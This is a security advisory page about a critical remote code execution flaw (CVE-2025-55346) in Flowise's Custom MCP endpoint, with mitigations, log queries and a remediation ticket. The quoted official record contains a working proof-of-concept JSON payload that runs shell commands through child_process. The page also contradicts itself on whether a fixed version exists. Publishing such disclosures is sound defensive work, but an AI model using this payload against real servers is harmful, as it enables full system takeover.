Flowise can be made to run JavaScript code on the server
What this means
An attacker with access to Flowise can run any code on the server where it is installed. They can steal data, change files, install malware, or take over the entire system. Any accounts, keys, or data on that server are at risk.
SecurityElites Manager Brief: the decision in one minute
Flowise up to version 2.2.7-patch.1 allows anyone who can reach the server to run code on it. There is no patch yet. Restrict who can access Flowise immediately, disable the Custom MCP feature if not needed, or consider replacing it until a fix is available.
| SecurityElites Fix-First Score | 51 of 100 Our own ranking of what to fix first. Real attacks count most, then the chance of attack, then severity. |
|---|---|
| SecurityElites fix window | Within 7 days Critical severity. This is our suggestion from common practice; your own policy comes first. |
| Who should own the fix | Platform engineering or infrastructure team. |
| Likely effort | Estimate: 1 to 2 hours to apply a workaround (network restriction) or move to a different tool. Waiting for a fix may take longer. |
Questions to ask your team or supplier
- Do we have any Flowise instances reachable from the internet or from untrusted networks? If so, can we restrict access today?
- Who on our team uses the Custom MCP feature in Flowise, and can we disable it temporarily until a fix is available?
- Have we seen any unusual activity or error logs on our Flowise servers in the last 30 days that might indicate an attack?
Message you can forward to the owning team
Security notice: Flowise can be made to run JavaScript code on the server (CVE-2025-55346)
Severity: Critical
SecurityElites Fix-First Score: 51 of 100
SecurityElites fix window: Within 7 days
Action: no fixed version is listed yet; apply the risk-reduction steps and watch the vendor advisory.
What we need from you: confirm whether we run this software, who owns it, and the date it will be fixed.
Full guide: https://securityelites.com/ai-vulnerabilities/cve-2025-55346-flowise-can-be-made-to-run-javascript-code-on/
Source: SecurityElites AI Vulnerabilities Database, record SE-AIV-01654What is at stake in your AI setup
- Keys for external AI providers: stolen and used by attackers to run up bills or access your models.
- Chat history and conversation logs: read and exfiltrated for competitive or privacy harm.
- Prompts and instructions for the AI: modified to change how the AI behaves, poisoning model outputs.
- Connections to external tools and databases: exploited to read, modify, or delete data in those systems.
Who is exposed
- Flowise servers on the internet or internal networks where untrusted people can reach them.
- Teams running Flowise 2.2.7-patch.1 or any earlier version.
- Services that connect Flowise to databases, file storage, or other systems.
- Any deployment where Flowise has access to keys, passwords, or private data.
Upgrades you need
| Software | Affected versions | Move to |
|---|---|---|
| flowise npm | Every version up to and including 2.2.7-patch.1 | No fixed version recorded. Follow the steps below. |
Am I affected?
Enter the version you run. Nothing you type is stored.
SecurityElites Developer Brief: the technical picture
| Is it being attacked | Working attack code is public, so expect attacks to follow |
|---|---|
| Where the attacker must be | Anywhere that can reach it over a network, including the internet if it is exposed |
| Account needed | None. No login is needed |
| Does a person have to do something | No. It works without anyone clicking or opening anything |
| How hard it is to do | Easy. It works reliably once the attacker can reach it |
| Risk of: data being read | High |
| Risk of: data or settings being changed | High |
| Risk of: the service being taken down | High |
| Can attackers automate it at scale | Yes, according to CISA |
| How much control an attacker gains | Total control of the affected software, according to CISA |
Read from the official severity rating: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Kind of coding mistake
- CWE-627
- CWE-95: code can be injected through evaluation
If you cannot upgrade today
- Restrict network access to Flowise so that only trusted people on your team can reach it. Use a firewall, VPN, or network allowlist to block all other traffic.
- Disable the Custom MCP feature entirely if your team does not use it. Remove or comment out the Custom MCP node from the Flowise configuration.
- If you must keep Flowise running, place it behind a web application firewall (WAF) and monitor for suspicious requests to the Custom MCP endpoint. Log all requests for review.
Signs it may already have been used against you
- Check server logs and application logs for POST requests to `/api/v1/node-load-method/customMCP` with unusual or unexpected `mcpServerConfig` values.
- Look for error messages containing 'convertToValidJSONString' or 'Invalid MCP Server Config' paired with JavaScript code or syntax that does not look like a command.
- Watch for unexpected child processes spawned from the Flowise process, or unusual network connections initiated by Flowise.
- Check if any files on the server were created or modified at times when no administrator was working on the system.
Log searches to start from
Find POST requests to the vulnerable Custom MCP endpointSplunk
index=main http.request.method=POST http.request.uri.path=/api/v1/node-load-method/customMCP | table _time, src_ip, http.request.body, statusFind POST requests to the vulnerable Custom MCP endpointElastic
http.request.method:POST AND http.request.uri.path:/api/v1/node-load-method/customMCP | fields @timestamp, source.ip, http.request.body, http.response.status_codeWritten with AI as a starting point. Review them and change the index and field names to match your own logs before you rely on the result.
SecurityElites Fix Guide: step by step
- Find where Flowise is runningCheck all servers, containers, and cloud deployments where Flowise is installed. Note the version number on each one. Look for Flowise in package.json, container images, or deployment tools.
- Check the installed versionOn each server, run `npm list flowise` or check the package.json file to confirm the version. Write down every version you find.
- Assess who can reach FlowiseCheck your network setup: is Flowise on the public internet, only on an internal network, or only behind a login? Who is allowed to send requests to it right now? Document this for each instance.
- Stop external access immediatelyRestrict network access to Flowise so that only trusted people can reach it. Use a firewall, VPN, or network rules to block untrusted sources. Make sure only your team can send requests to the Custom MCP endpoint.
- Review recent activity logsCheck server logs and access logs for the last 30 days. Look for unusual POST requests to `/api/v1/node-load-method/customMCP` or error messages mentioning 'convertToValidJSONString' or 'MCP Server Config'. Write down anything suspicious.
- Check for signs of abuseLook for unexpected files, processes, or network connections on the Flowise server. Check if any keys, passwords, or data files have been modified or accessed. If you find signs of an attack, isolate the server and preserve logs for investigation.
- Monitor for a fixed versionWatch the Flowise GitHub repository and npm package page for updates. No fixed version exists yet. When a version higher than 2.2.7-patch.1 is released, test it in a safe environment before deploying to production.
- Plan to upgrade when a fix is availableWhen Flowise releases a patched version, upgrade by updating the package (npm update flowise) and restarting the service. Test that the Custom MCP feature works correctly after the upgrade.
How to confirm it is fixed: Confirm the system is protected by checking that your Flowise version is higher than 2.2.7-patch.1 (once a fixed version is released), or by verifying that network access to the `/api/v1/node-load-method/customMCP` endpoint is restricted to trusted users only.
SecurityElites Quick Fixes: copy and paste
Check installed Flowise versionfor this issue
npm list flowiseRestrict network access to Flowise API (firewall rule example)for this issue
# Allow only trusted IPs to reach Flowise on port 3000
# Example using iptables on Linux:
# sudo iptables -A INPUT -p tcp --dport 3000 -s 203.0.113.0/24 -j ACCEPT
# sudo iptables -A INPUT -p tcp --dport 3000 -j DROPRun the service in a locked-down containergeneral hardening
docker run --read-only --cap-drop ALL \
--security-opt no-new-privileges --user 1000:1000 \
-p 127.0.0.1:8080:8080 YOUR_IMAGETest in a non-production environment first. General hardening examples use placeholder names and ports; change them to match your setup.
SecurityElites Incident Drill: could your team handle this?
Four questions to ask in your next team meeting. If any has no clear answer, that is the gap to close.
Ticket for your backlog
Paste into Jira, GitHub Issues or any tracker that reads Markdown.
Ready-made ticket
## Flowise can be made to run JavaScript code on the server (CVE-2025-55346)
**Severity:** Critical | **SE Fix-First Score:** 51/100 | **Fix window:** Within 7 days
**Record:** SE-AIV-01654 https://securityelites.com/ai-vulnerabilities/cve-2025-55346-flowise-can-be-made-to-run-javascript-code-on/
### Why this matters
An attacker with access to Flowise can run any code on the server where it is installed. They can steal data, change files, install malware, or take over the entire system. Any accounts, keys, or data on that server are at risk.
### What to do
1. Find where Flowise is running
2. Check the installed version
3. Assess who can reach Flowise
4. Stop external access immediately
5. Review recent activity logs
6. Check for signs of abuse
7. Monitor for a fixed version
8. Plan to upgrade when a fix is available
Full steps: https://securityelites.com/ai-vulnerabilities/cve-2025-55346-flowise-can-be-made-to-run-javascript-code-on/
### Done when
- [ ] The risk-reduction steps are applied and the vendor advisory is being watched for a fixed version
- [ ] Lock files, container images and CI configuration are updated
- [ ] Confirm the system is protected by checking that your Flowise version is higher than 2.2.7-patch.1 (once a fixed version is released), or by verifying that network access to the `/api/v1/node-load-method/customMCP` endpoint is restricted to trusted users only.
- [ ] Logs were checked for signs of earlier use
SecurityElites Fix Tracker
Record who owns this fix, the date it is due and when it is done, and see everything still open in one list. Free with a SecurityElites account.
Related vulnerabilities
In the same software
- Flowise CSV and Airtable agents allow data theft via prompt injection Critical · CVE-2026-73487
- Flowise can run commands and read files outside its sandbox Critical · CVE-2026-119978
- Flowise OAuth2 token endpoint open to anyone, leaks access tokens Critical · CVE-2026-70478
- Flowise CSV Agent can run Python code sent by attackers Critical · CVE-2026-70477
- Flowise allows authenticated users to change other organizations' billing High · CVE-2026-70476
- Flowise allows any authenticated user to change execution records without permission check High · CVE-2026-70475
The same kind of mistake in other AI tools
- Langflow OSS allows arbitrary code execution through tool listing without admin check High · CVE-2026-128876
- Langflow OSS can run arbitrary code via tool-call interface before admin check High · CVE-2026-128867
- Langflow OSS allows remote code execution through improper code handling High · CVE-2026-127065
- Langflow OSS allows authenticated users to run arbitrary code High · CVE-2026-122088
- Langflow OSS allows authenticated users to run any command on the server High · CVE-2026-120601
Change history
- 6 Oct 2025: Made public
- 2 Dec 2026: Fixed version added, from the GitHub security advisory
- 2 Dec 2026: Published
- 2 Dec 2026: Fixed version added, from the GitHub security advisory
Official record
### Summary User-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE.### Details When creating a new `Custom MCP` Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure: ```json { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files"] } ```Behind the scene, a `POST` request to `/api/v1/node-load-method/customMCP` is sent with the provided MCP Server Config, with additional parameters (excluded for brevity): ```json { ...SNIP..."inputs":{ "mcpServerConfig":{ "command":"npx", "args":[ "-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files" ] } }, "loadMethod":"listActions" ...SNIP... } ```Sending the same request with the parameter `mcpServerConfig` equals to a plain value and not an object, for example: ```json { "inputs":{ "mcpServerConfig":"test" }, "loadMethod":"listActions" } ```We enter an interesting code flow that leads to a function named `convertValidJSONString` (Line 103): https://github.com/FlowiseAI/Flowise/blob/416e57380ea7ce2e66f89aded61b249ff3eef3b2/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L103```typescript async getTools(nodeData: INodeData): Promise<Tool[]> { const mcpServerConfig = nodeData.inputs?.mcpServerConfig as stringif (!mcpServerConfig) { throw new Error('MCP Server Config is required') }try { let serverParams if (typeof mcpServerConfig === 'object') { serverParams = mcpServerConfig } else if (typeof mcpServerConfig === 'string') { const serverParamsString = convertToValidJSONString(mcpServerConfig) <-- serverParams = JSON.parse(serverParamsString) }const toolkit = new MCPToolkit(serverParams, 'stdio') await toolkit.initialize()const tools = toolkit.tools ?? []return tools as Tool[] } catch (error) { throw new Error(`Invalid MCP Server Config: ${error}`) } } } ```Here, the value of `inputString` originating from `mcpServerConfig` is being concatenated to a dynamic Function constructor that evaluates the provided value similar to using `eval`:```typescript function convertToValidJSONString(inputString: string) { try { const jsObject = Function('return ' + inputString)() return JSON.stringify(jsObject, null, 2) } catch (error) { console.error('Error converting to JSON:', error) return '' } } ```This JS code runs in the context of the host, not sandboxed using `@flowiseai/nodevm` like other code execution functionalities within the platform.This enables access to the global `process` object and as a result access to all the native NodeJS modules available such as `child_process`, leading to Remote Code Execution. ```json { "inputs":{ "mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))" }, "loadMethod":"listActions" } ``` ### PoC 1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as `npx`, `pnpm`, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker2. Create a new file named `payload.json` somewhere in your machine, with the following data: ``` {"inputs":{"mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"}, "loadMethod":"listActions"} ```3. Send the following `curl` request using the `payload.json` file created above with the following command: ``` curl -XPOST -H "x-request-from: internal" -H "Content-Type: applicati
Weakness type: CWE-627, CWE-95
Use this record in your own tools
Get this record as JSON
curl https://securityelites.com/wp-json/se-aivd/v1/vulns/CVE-2025-55346For scanners and pipelines: OSV format · CycloneDX format · API guide · Email alerts · Fix tracker
The plain-language sections were written with AI from the official record, and the upgrade versions come directly from the official data. Last updated 2 Dec 2026. Read the vendor advisory before changing a production system.